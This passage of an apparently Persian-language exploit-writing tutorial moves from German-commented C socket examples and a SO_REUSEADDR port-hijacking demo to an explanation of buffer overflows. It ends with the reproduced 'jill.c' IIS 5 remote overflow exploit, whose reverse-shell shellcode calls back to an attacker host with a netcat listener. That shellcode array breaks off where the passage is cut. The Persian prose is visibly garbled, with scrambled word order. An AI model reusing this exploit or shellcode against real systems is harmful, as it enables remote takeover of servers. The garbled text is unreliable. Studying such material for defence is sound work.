if (bind(s, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1) 
{ 
close(s); 
fprintf(stderr, "Error: bind\n"); 
return -1; 
} 
/* Socket aufs warten vorbereiten */ 
if (listen(s, 1)==-1) 
{ 
fprintf(stderr, "Error: listen\n"); 
return -1; 
} 
fflush(stdout); 
size=sizeof(remote_addr); 
/* Auf eine eingehende Verbindung warten */ 
remote_s = accept(s, (struct sockaddr *)&remote_addr, &size); 
fflush(stdout); /* Ausgabepuffer leeren */ 
if (remote_s < 0) 
{ 
close(s); 
fprintf(stderr, "Error: accept\n"); 
return -1; 
} 
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/* Daten ueber seinen Gegenueber ausgeben */ 
printf("\nincoming connection from %s\n", 
inet_ntoa(remote_addr.sin_addr.s_addr)); 
printf("sending data..."); 
fflush(stdout); 
size=send(remote_s, "Hello World",11,0); 
if (size==-1) 
{ 
fprintf(stderr, "error while sending\n"); 
} else { 
printf("ready\n%d Bytes send to remote host\n", size); 
} 
printf("closing sockets\n"); 
/* Sockets wieder freigeben */ 
close(remote_s); 
close(s); 
printf("terminating\n"); 
fflush(stdout); 
return 0; 
} 
 
2: TCP-Client 
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
int main() 
{ 
struct sockaddr_in host_addr; 
int size; 
int s; 
struct hostent *host; 
char hostname[MAXHOSTNAMELEN]; 
char buffer[1000]; 
printf("\nEnter Hostname: "); 
scanf("%s",&hostname); 
host=gethostbyname(hostname); 
if (host==NULL) 
{ 
fprintf(stderr, "Unknown Host %s\n",hostname); 
return -1; 
} 
fflush(stdout); 
/* Socket erzeugen */ 
s = socket(AF_INET, SOCK_STREAM, 0); 
if (s < 0) 
{ 
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fprintf(stderr, "Error: socket\n"); 
return -1; 
} 
/* Socket an das Ziel binden */ 
host_addr.sin_family = AF_INET; 
host_addr.sin_addr = *((struct in_addr *)host->h_addr); 
host_addr.sin_port = htons(2199); 
/* Verbindung aufbauen */ 
if (connect(s, (struct sockaddr *)&host_addr, sizeof(host_addr))==-1) 
{ 
close(s); 
fprintf(stderr, "Error: connect\n"); 
return -1; 
} 
/* Daten empfangen */ 
size = recv(s, buffer, 1000, 0); 
if (size==-1) 
{ 
close(s); 
fprintf(stderr, "reading data failed\n"); 
return -1; 
} 
printf("Getting %d Bytes of Data\nData:%s\n",size,buffer); 
fflush(stdout); 
/* Socket wieder freigeben */ 
close(s); 
return 0; 
} 
 
3: UDP-Server 
 
#include 
#include 
#include 
int main() 
{ 
int sockfd; /* unsere Socket */ 
struct sockaddr_in my_addr, remote_addr; /* 2 Adressen */ 
int remote_addr_size = sizeof(remote_addr); /* fuer recvfrom() */ 
char buf[1024]; /* Datenpuffer */ 
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) 
{ 
fprintf(stderr, "Error: socket()\n"); 
exit(1); 
} 
my_addr.sin_family = AF_INET; 
my_addr.sin_addr.s_addr = htonl(INADDR_ANY); 
my_addr.sin_port = htons(2199); 
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr)) < 0) 
{ 
fprintf(stderr, "Error: bind()\n"); 
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close(sockfd); 
exit(1); 
} 
if (recvfrom(sockfd, buf, sizeof(buf), 0, 
(struct sockaddr *)&remote_addr, &remote_addr_size) > 0) 
{ 
printf("Getting Data from %s\n", 
inet_ntoa(remote_addr.sin_addr.s_addr) ); 
printf("Data : %s\n", buf); 
} 
} 
 
4: UDP-Client 
 
#include 
#include 
#include 
#include 
int main(int argc, char **argv) 
{ 
int sockfd; 
struct sockaddr_in my_addr, remote_addr; 
struct hostent *host_addr; 
if (argc != 3) 
{ 
fprintf(stderr, "Usage: %s [HOST] [MESSAGE]\n", argv[0]); 
} 
if ((host_addr = gethostbyname(argv[1])) == NULL) 
{ 
fprintf(stderr, "Cannot resolv hostname: %s\n", argv[1]); 
exit(1); 
} 
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) 
{ 
fprintf(stderr, "Error: socket()\n"); 
exit(1); 
} 
remote_addr.sin_family = AF_INET; 
remote_addr.sin_addr = *((struct in_addr *) host_addr->h_addr); 
remote_addr.sin_port = htons(2199); 
if (sendto(sockfd, argv[2], strlen(argv[2]) + 1, 0, 
(struct sockaddr *)&remote_addr, sizeof(remote_addr)) > 0) 
{ 
printf("Message sent\n"); 
} else { 
fprintf(stderr, "Error while sending data\n"); 
} 
close(sockfd); 
} 
 

   کنيد توجه سورس این به بيشتری دقت باNIX* ایه سيستم برای مه جال مثال یک
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/* 
* This is an example of how to exploit the security hole in using 
* SO_REUSEADDR. It is not intended as a resource for would be 
* "hackers" (in the hollywood sense of the word), but for 
* programmers so that they can learn about the vulnerability, 
* find out if their environment is vulnerable, and write servers 
* that can not be compromised in this way. 
* 
* This is a modification of the tcpserver.c source included in 
* the example code for the unix-socket-faq. The faq can be found 
* at the following sources: 
* http://www.auroraonline.com/sock-faq 
* http://kipper.york.ac.uk/~vic/sock-faq 
* ftp://rtfm.mit.edu/pub/usenet/news.answers/unix-faq/socket 
* 
* The most recent version of the sample source includes a modified 
* Makefile which knows about this file. Copy this file into the 
* sample source directory and type 'make reuseaddr' to compile. 
* 
* To try it out, run tcpserver, followed by tcpclient to verify 
* that it is working correctly. Then run reuseaddr, passing the 
* same port number as you did to tcpserver, and the hostname of 
* the server. When you next run tcpclient, you will be talking 
* to the reuseaddr server instead of the tcpserver server. 
* 
* Although this works under linux 1.2.13, it may be "fixed" on 
* other systems. Possible solutions to the problem should be 
* to either not use SO_REUSEADDR, or have your server bind to 
* the server's address specifically. Is there any reason not 
* to do this? 
*/ 
#include "sockhelp.h" 
#include <stdio.h> 
#include <unistd.h> 
#include <signal.h> 
#include <sys/types.h> 
#include <string.h> 
#include <sys/wait.h> 
#include <ctype.h> 
/* This waits for all children, so that they don't become zombies. */ 
void sig_chld(signal_type) 
int signal_type; 
{ 
int pid; 
int status; 
while ( (pid = wait3(&status, WNOHANG, NULL)) > 0); 
} 
int main(argc, argv) 
int argc; 
char *argv[]; 
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{ 
int sock = -1; 
int connected = 1; 
char buffer[1024]; 
char *current_character; 
int port = -1; 
struct sigaction act, oldact; 
struct in_addr *addr; 
struct sockaddr_in address; 
int listening; 
int reuse_addr = 1; 
int new_process; 
if (argc != 3) { 
fprintf(stderr,"Usage: tcpserver port addr\n"); 
fprintf(stderr,"Where port is the port number or service name to\n"); 
fprintf(stderr,"listen to, and addr is the host address to bind to.\n"); 
exit(-1); 
} 
sigemptyset(&act.sa_mask); 
act.sa_flags = 0; 
act.sa_handler = sig_chld; 
sigaction(SIGCHLD, &act, &oldact); 
port = atoport(argv[1], "tcp"); 
if (port == -1) { 
fprintf(stderr,"Unable to find service: %s\n",argv[1]); 
exit(-1); 
} 
addr = atoaddr(argv[2]); 
if (addr == NULL) { 
fprintf(stderr,"Unable to find host: %s\n",argv[2]); 
exit(-1); 
} 
listening = socket(AF_INET, SOCK_STREAM, 0); 
setsockopt(listening, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, 
sizeof(reuse_addr)); 
address.sin_family = AF_INET; 
address.sin_port = port; 
address.sin_addr.s_addr = addr->s_addr; 
if (bind(listening, (struct sockaddr *) &address, sizeof(address)) < 0) { 
perror("bind"); 
close(listening); 
exit(-1); 
} 
listen(listening,5); 
while (sock < 0) { 
sock = accept(listening,NULL,NULL); 
if (sock < 0) { 
if (errno != EINTR) { 
perror("accept"); 
close(listening); 
exit(-1); 
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} else { 
continue; /* don't fork - do the accept again */ 
} /* errno != EINTR */ 
} /* sock < 0 */ 
new_process = fork(); 
if (new_process < 0) { 
perror("fork"); 
close(sock); 
sock = -1; 
} else { /* We have a new process... */ 
if (new_process == 0) { 
/* This is the new process. */ 
close(listening); /* Close our copy of this socket */ 
listening = -1; /* Closed in this process. We are not responsible 
for it. */ 
} else { /* Main Loop */ 
close(sock); 
sock = -1; 
} 
} 
} /* While */ 
sock_puts(sock,"Welcome to the upper case server.\n"); 
while (connected) { 
/* Read input */ 
if ( sock_gets(sock, buffer, 1024) < 0) { 
connected = 0; 
} 
else { 
if (sock_puts(sock, "Evil impostor!!!\n") < 0) { 
connected = 0; 
} 
} 
} 
close(sock); 
return 0; 
} 

  
  
ه  و شاید شدید آشنا شبکه نویسی برنامه بخصوص و نویسی اکسپلویت زمينه در مفيدی و متنوع مطالب با مقاله اینجای تا ال  ب ين  احتم  یق
ده  بوجود  سوالات بيشتر رفع برای شوید مواجه زیادی مشکلات با شبکه نویسی هبرنام با کار نگامه به ان  آم ددی  ایه FAQ  برایت  متع
دا  را اهآن از زیادی تعداد توانيد می جستجوگر ایه سایت در جستجو با است موجود شبکه در وده  پي د  دریافت  و نم ه  آخر  در) نمایي  مقال
ا  ( مه د می  قرار برایتان و کرده انتخاب را بودFAQ دیگر از ترهب که را ا هFAQ این ار یکی ه  اینجای  ت ا  مقال سمت  نوشتن  نحوه  ب  ق

Socket Programming  نا از  شدید  آش نم  می  تکرار  مه  ب ن  دافه ا ک ه  ای ه  آموزش  مقال نایی  بلکه  نيست  نوسيس  برنام ا  آش ا  ب  يمهمف
ایی  حوزه در نویسی اکسپلویت ه  ایه  توان سی  برنام ه  نوبت  حال  .است  شما  نوی ه  آنست  ب داری  ک اره  مه  مق سئله  درب ه  آخر  م ان ه ک   م

Black Codesد  این بپردازیم ستنده اه ند  می  مخرب  ایه  ک ه  باش ات  ک وذ  عملي ا  را نف د  می  محي دین  کنن د  چن ه  مت سی  برنام ن  نوی  درای
نم  می  اشاره  ینویس اکسپلویت برای متد ترین قدرتمند مچنينه و معروفترین و مترینهم از یکی به من که دارد زمينهوجود   مه  آن و ک

Buffer Overflowد  این مه دیگری ایه اسم البته است ل  دارد مت ن  Buffer Over Running مث سمت  ای د  حالت  یک  ق اربرده  چن   ک
 یک این حال ره به اه اکسپلویت کننده حمله بخش ساختن در یا و نمود استفاده اه افزار نرم کرک در آن از توان می مه کرد دهخوا پيدا
 ایه  ابزار با کار آشنایی مقداری و اسمبلی و++C  به داشت يدهخوا نياز بخش این در که ای زمينه پيش بيشترین به باشد می مادر متد

Reverse Engineering ملننده IDA یا و Debuggerاست مختلف ای ه .   
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ه  آن مترهم و کاربردی بخش و حافظه با بيشتر مقدار یک که است لازم بخش این شروع از قبل ه  ک ا  جاری  بحث  ب وط  م  شود  می  مرب
 عملی ایه مثال از استفاده با سپس چيست حافظه در آن نقش و چيست بافر اصلا که ببينيم مه با اول باشد میBuffer  مه آن و بپردازیم

ات  مرکز  در که بگویم باید. بشویم آشنا بيشتر بافر کردن سرریز مانه یاBuffer Overflow  خود با رم  شرکت  ره  یتحقيق زار  ن ا  اف  یب
  .باشد می معطوف دسته این از اییه ضعف کردن پيدا صرف زیادی ایه زمان متد این به توجه

  
   Buffer Overflowبافر  سرريز

  
  
افر  سرریز  یک  از استفاده برای کردم اشاره که مانطوره سپلویت  یک  در ب ستی  اک ورد  در دانش  دارای بای ستم  و++C و اسمبلی  م  سي

   .نمایيد حمله آن به يدهخوا می که ستا عاملی
 

   بافر ریز سر تعریف
 

ه  دادی قرار حافظه در بيشتر ایه داده کردن وارد به بافر ریز سر حمله یک ه  است  برنام ل  از ک ه  نوشتن  قب دار  برنام  از مشخصی  مق
رار  افظه ح ار بخشی  شود  می  باعث  اطلاعات  از زیادی مقدار کردن سرریز است نموده می اشغال را حافظه ه  دادی ق ه  برنام  طور  ب
ه  جداگانه د  آن ب ول  را اطلاعات  آن و بپردازی د  قب دین  کن ی  ب ه  معن سمتی  ک رار  حافظه  از دیگر  ق ه  دستورات  از بخشی  دادی ق  را برنام
ه  جدید دستورات به تبدیل حافظه از بخشی به داده سرریز مقادیر معرفی حمله از نوع این در کند می متوقف ن  در دشو  می  ای برنام  ای
 صورت به سرریز بعدی دستورات بعد به نقطه این از گيرد می کنترل تحت را دفه سيستم پردازشگر کنترل نفوذگر که است صورت

ه  را اکانت  شل یک تواند می مثال طور به شوند می اجرا بافر سرریز با مزمانه ورد IP  یک  ب وذگر  دستگاه ) نظر  م د  (نف ه  برگردان  ب
ا  بيت 10 برنامه ای حافظه بخش از مقدار یک تاس قرار اگر مثال طور د  داری نگه  را دیت افر  سرریز  صورت  در کن دن  و کردن  ب  آم
 می بافر سرریز حمله یک از آمده جدید مقادیر متوجه پردازشگر عمليات و شوند می متوقف یا و شده تخليه قبلی دستورات جدید مقادیر
ه  زبان ایه ضعف از یکی ساده ثالم یک با بگذارید مسئله این ترهب درک برای شود سی  برنام ه  را++C  نوی اد  شما  ب يم  آوری ی  در کن
ه  باشدچون  نمی  دستوری  اشکال یک اشکال این شوید می آشنا بافر ریز سر ومهمف با مقداری بين این ام ه ب ل  نگ ع  سورس  کامپای ه  منب  ب
 مشخص ای برنامه خطای و شده مواجه بافر سرریز با هشد ترجمه برنامه خروجی اجرای نگامه در ولی خورد يدهنخوا بر خطایی يچه
  کنيد توجه زیر ایه کد به شود می

  
// lunch.cpp : Overflowing the stomach buffer 
#include <stdafx.h> 
#include <stdio.h> 
#include <string.h> 
void bigmac(char *p); 
int main(int argc, char *argv[]) 
{ 
bigmac("Could you supersize that please?"); // size > 9 overflows 
return 0; 
} 
void bigmac(char *p) 
{ 
char stomach[10]; //limit the size to 10 
strcpy(stomach, p); 
printf(stomach); 
} 

  
ه  اجرای نگامه در یول خوریم  نمی بر خطایی به کامپایل نگامه در کنيم می کامپایل++C  کامپایلر توسط را سورس این ل  برنام  کامپای
  شود می نمایان زیر شکل به خطایی شده
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ام ه به است؟ داده رخ ای مسئله چه  ه  اجرای  نگ ع  آن برنام ادیر  وbigmac  تواب  ”?Could you surprise that please“ طولانی  مق
 قرار زیرا باشد خطرناک تواند می این کند نمی چک را شده داده قرار مقادیر درازای وقت يچه()strcpy متاسفانه کند می فراخوانی را

  .شود می برنامه در بافر سرریز باعث را کاراکتر 9 از بيشتر ای داده مقادیر دادن
  

  ؟ چيست  بافر
 
ادیر  با را بافر توان می که دیدید قبل مثال در شتر  مق دار  از بي رار  مق ز  سر  حافظه  اشغال  دادی ق ود  ری رای  نم ن  ب ه  ای ا  ک ن  ب وع  ای  از ن

 لازم کنند می استفاده بافر کردن ریز سر ااز اه رایانه کنترل گرفتن دست به برای نفوذگران چگونه که بدانيد و شوید آشنا بيشتر حملات
  .بشوید آشنا ببيشتر مقداری بافر خود با که است

  
د  می پيدا دسترسی حافظه مختلف ایه قسمت در شده داری نگه مقادیر به که منبعی ایهکد از اند شده متشکل کامپيوتر برنامه یک   کنن
دار  برنامه از مقداری ره شده است اجرا برنامه یک که نگامیه ه  را حافظه  فضای  از مشخصی  مق ه ه د می  اختصاص  خود  ب ن  د ب  ای

از  مورد مقادیر اطلاعات نوع به بسته که صورت دا  آن از حافظه  ني ثلا  می شوند   داری نگه  و ج رای  م د  یک  داری نگه  ب  عددی  ارمق
 داشت دهخوا نياز RAM رایانه حافظه از بيشتری ميزان به بزرگتر عددی مقدار یک ولی است نياز ظهحاف از بيت یک به فقط کوچک

دام  ره  که است توجه قابل گوناگونی ایه متغير و متفاوت مقادیر حالت این در ل  از ک ه  قب زان  ب از RAM در مشخصی  ی حافظه  مي  ني
د  رای  حافظه  از فضایی  دارن ه  اطلاعات  داری نگه  ب دا  آن از حافظه  در برنام ا  شود  می  ج ه  ت ام ه ب ز  نگ رای  ني ه  اجرای  ب ه  برنام  ب

 نياز نگامه به سپس دهد می قرار شده مشخص و دادی قرار حافظه دراین را خود ایه متغير مشخص مقادیر برنامه که است اینصورت
رار  حافظه  خارجی  فضای  از مقداری رای  را دادی ق ادی  ب ه  خروجی  رمق ن  ده د می  اختصاص  خود  ب رای  حافظه  مجازی  فضای  ای  ب

  .شود می ناميده بافر جدید مقادیر جایگزینی
  
 

رای  الا  مطلب  اینکه  ب ه  ب ون  خوبی  ب ل  برات ه  باشه  درک قاب ن  ب د  توجه  توضيح  ای ا  کني ن  از مه  شما  حتم  داری نگه  ایه  مجموعه  ای
CDبا حال ره به یباشيد داشته اشوه تایی 300 آن از یکی شما شاید دارید رو اهآن از ییک مه شما حتما کنيد می استفاده شده بندی قسمت 

 قدیمی ایه نگهآ قسمت سه به را خود مانند برج دی سی مجموعه این کنيد فکر شوید می آشنا بيشتر بافر ریز سر و بافر با توضيحاتی
   زیر شکل ماننده اید کرده بندی دسته رو 210-300مدرن ایه نگهآ و101-200 کلاسيک ایه نگهآ و 1 -100خانه از
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د  می بدتان کلاسيک و قدیمی ایه نگهآ از نيز شما اند شده داده قرار فوق صورت به شما برادر ایه نگهآ مجموعه که کنيد فرض  آی
 یک  خودش  بدست که يدکن مجبور را او و زده کلک برادرتان به يدهخوا می نيز شما دارد اختصاص شما به 300 تا 201 ایه قسمت و
د  نمی  خوشش  اه نگهآ نوع این از برادرتان که دانيد می مه شما کند اجراRock  یا و جدید نگهآ صميم  پس  آی ه  ت  ایه  نگ هآ که  ب

دی  پيکر  نوع به شما کنيد می اش دی سی مجموعه در بافر ریز سر نوع از برادرتان ان  ایه  دی سی  بن نایی  برادرت د  آش ه  داری  طور  ب
 باشد می خالی دارد ظرفيتCD  دیگر مجموعا که 100 تا974 ایه خانه و است شده پر اش قدیمی ایه نگهآ تقریبا که انيدد می مثال
 فضای 4 چپ سمت قسمت در کنيد توجه زیر شکل دو به سته خالی تقریبا مه کلاسيکش ایه موسيقی  ایه خانه بيشترین که دانيد می

  دارد وجود خالی
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ا  است  خالی ایه خانه نمایيد می دههمشا فوق لشک در که مانطوره ه  97 – 104 توجه  ب ن  ب ا  و اطلاعات  ای ن  از یهآگ ه  مطلب  ای  4 ک

دیمی  ایه  موسيقی  اه این که گویم می و مهد می دیهه او با دی سی تا 5 دیه هعنوان به برادرم به مه من است خالی خانه ورد  ق ه  م  علاق
رای  و ردک  تشکر من از مه برادرم ندارد که است اش رار  ب ه  اه  دی سی  دادن ق ه  اش مجموعه  ب رد  مراجع ه  آنجایی  از ک سمت  در ک  ق

رار old  خالی ایه خانه در را دی سی 4 برادرم نداشت وجود نياز مورد کافی فضای قدیمی ایه موسيقی  دیگر  از را یکی  آن و داد ق
ا  خالی حافظه) خالی خانه رار  ( مجازی  ی ه  داد ق افرش  از اصطلاح  ب تفا  ب رد  دهاس ن  خواب  ک ه  ای افر  گرفت  مه  من  حق  OLD  خالی  ب

Musicایه نگهآ به بافر آن ریز سر و شد پر classic ود  اینجا نکته)بود شده ریخته ه  ب ه  من  ک رادرم  ب دیمی  ایه CD  ب داده  ق ودم  ن  ب
  ( بود داده قرار دشخو مجموعه در را اهآن و بود نکرده توجه مطلب این به برادرم و بودند مدرن ایه نگهآ اه آن مهه بلکه
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رای  کلاسيک  نگ هآ یک  که خواستم اون از روزی گرفت مه من کلک خوب د  می  بگذاره  من  ب ه  تواني د  حدس  ک اقی  چه  بزني اد  اتف  افت
افر  سر ایده از من که بود اینجا و کرد Rock  نگهآ یک کوبيدن به شروع ثانيه چند از بعد موسيقی پخش و ضبط دستگاه ستم  ریزب  تون

رین  ساده به بالا يمهمفا بکنم عملی مچينه اجرای به وادار رو اون برادرم خود ستد  به ده  ممکن  شکل  ت ز  سر  ی ای افر  ری رای  رو ب  ب
ق  از اه رایانه که به دست ومهمف مينه با تقریبا م هاه کره داد شرح شما ن  طری وع  ای سپلویت  از ن ه  اییه  اک افر  سرریز  شيوه  از ک  ب

 ستنده سيستم در شدن اجرا حال در که اه برنامه اجزای از یک کدام که بداند باید کره یک. نمایند می نفوذ اه سيستم به کنند می استفاده
 که اییه محل کند می استفاده برنامه که بافری اندازه جمله از جزیياتی به نفوذگر باید مچنينه و باشند می بافر طریق از ی سرریز قابل

د  می  اشغال  مختلف ی اه ایانهر حافظه در نظر مورد ایه برنامه ال  (OFFSET) کنن رم  مث اد  را ساسر  ک د  می  بي د  خواب  آوری  از بع
د  می  مثلا نماید اعمال رایانه پردازشگر برروی را نظرش مورد دستورات تواند می کره یک بافر ریز سر مرحله  remote  یک  توان

accessمينه رسد می من نطر به که سرویسی ترین تابلو دیگر مثلا کند ااجر قربانی سيستم روی بر را دیگری نظر مورد فرمان ره یا 
 IISر  نمود پيدا بافر ریز سر توان می سختی به اوقات بيشتر اه برنامه دیگر برای است ميکروسافت ی  نيست  ممکن  غي دار  یک  ول  مق
ز  سر  مه سر پشت که دارد متعددی  ایه ضعف خود کدینگ متن در انقدرIIS  ولی سته تر سخت افر  ایه  ری ددی  ب ن  از متع وع  ای  ن
  است آمده بدست خدمات

  
 : IIS از اکسپلویت یک

 
/* IIS 5 remote .printer overflow. "jill.c" (don't ask). 
* 
* by: dark spyrit <dspyrit@beavuh.org> 
* 
* respect to eeye for finding this one - nice work. 
* shouts to halvar, neofight and the beavuh bitchez. 
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* 
* this exploit overwrites an exception frame to control eip and get to 
* our code.. the code then locates the pointer to our larger buffer and 
* execs. 
* 
* usage: jill <victim host> <victim port> <attacker host> <attacker port> 
* 
* the shellcode spawns a reverse cmd shell.. so you need to set up a 
* netcat listener on the host you control. 
* 
* Ex: nc -l -p <attacker port> -vv 
* 
* I haven't slept in years. 
*/ 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <errno.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <fcntl.h> 
#include <netdb.h> 
int main(int argc, char *argv[]){ 
/* the whole request rolled into one, pretty huh? carez. */ 
unsigned char sploit[]= 
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20" 
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" 
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" 
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" 
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" 
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" 
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" 
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" 
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56" 
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55" 
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95" 
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" 
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5" 
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18" 
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a" 
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14" 
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2" 
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14" 
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2" 
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd" 
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"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5" 
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d" 
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3" 
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3" 
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15" 
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a" 
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0" 
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd" 
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1" 
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e" 
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4" 
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6" 
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" 
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6" 
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0" 
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1" 
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2" 
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95" 
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95" 
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" 
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0" 
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb" 
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb" 
"\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33" 
